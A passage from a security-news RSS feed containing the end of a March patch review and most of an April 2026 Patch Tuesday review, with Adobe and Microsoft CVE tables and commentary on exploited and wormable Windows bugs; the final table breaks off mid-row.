Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
